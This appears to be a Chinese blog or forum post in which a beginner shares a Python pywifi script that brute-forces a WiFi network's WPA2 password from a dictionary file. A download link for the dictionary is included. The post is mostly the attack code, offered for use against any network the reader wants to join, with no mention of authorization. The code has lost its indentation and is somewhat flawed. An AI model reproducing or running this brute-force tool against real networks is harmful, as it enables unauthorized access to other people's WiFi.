第一次写脚本,欢迎大佬指点!!!
使用pywifi模块能不能破解成功全靠一张脸;
毕竟人帅自有天帮【doge】;
跑字典中有报错,但不影响运行,don't worry;
话不多说;
密码本链接:https://pan.baidu.com/s/1kAdfTsCvlqweocuq3fbfGw
提取码:2f9q
代码如下:
# 注意事项 : 1. 运行前需要pip下载 comtypes pywifi 这两个包;
# 2. 再把 第一,第二行代码的《密码本路径》和《wifi名字》补充好就可以运行了;
# 3. e m m m m ,这一条还没想好
# 请在此输入密码本路径 双引号里
# 例: ”C:\xxx\xxx.txt“
path = ""
# 请在此输入你想要加入的WIFI名字 单引号里
wifi_NAme = ''
import comtypes
import pywifi
from pywifi import const
import time
def WIFI_CONNECT(wifiName,pd):
wifi = pywifi.PyWiFi()
ifaces = wifi.interfaces()[0]
# 断开连接
ifaces.disconnect()
time.sleep(1)
# 判断WiFi连接状态
if ifaces.status() == const.IFACE_DISCONNECTED:
profile = pywifi.Profile()
profile.ssid = wifiName # WiFi 名字
profile.key = pd # wifi 密码
profile.akm.append(const.AKM_TYPE_WPA2PSK)
profile.auth = const.AUTH_ALG_OPEN
profile.cipher = const.CIPHER_TYPE_CCMP
# 删除WiFi
ifaces.remove_all_network_profiles()
# 设定新的连接文件
temp_profile = ifaces.add_network_profile(profile)
#连接wifi
ifaces.connect(temp_profile)
time.sleep(3)
if ifaces.status() == const.IFACE_CONNECTED:
return True
else:
return False
def readStart():
print("开始破解了,祝你好运!")
path1 =path # 密码本路径 do not move
file = open(path1,"r")
while True:
passWord = file.readline()
result =WIFI_CONNECT(wifi_NAme,passWord)
if result:
print("破解成功啦!!密码是:"+passWord)
break
else:
print("密码错误,让我们再来一次!"+passWord)
readStart()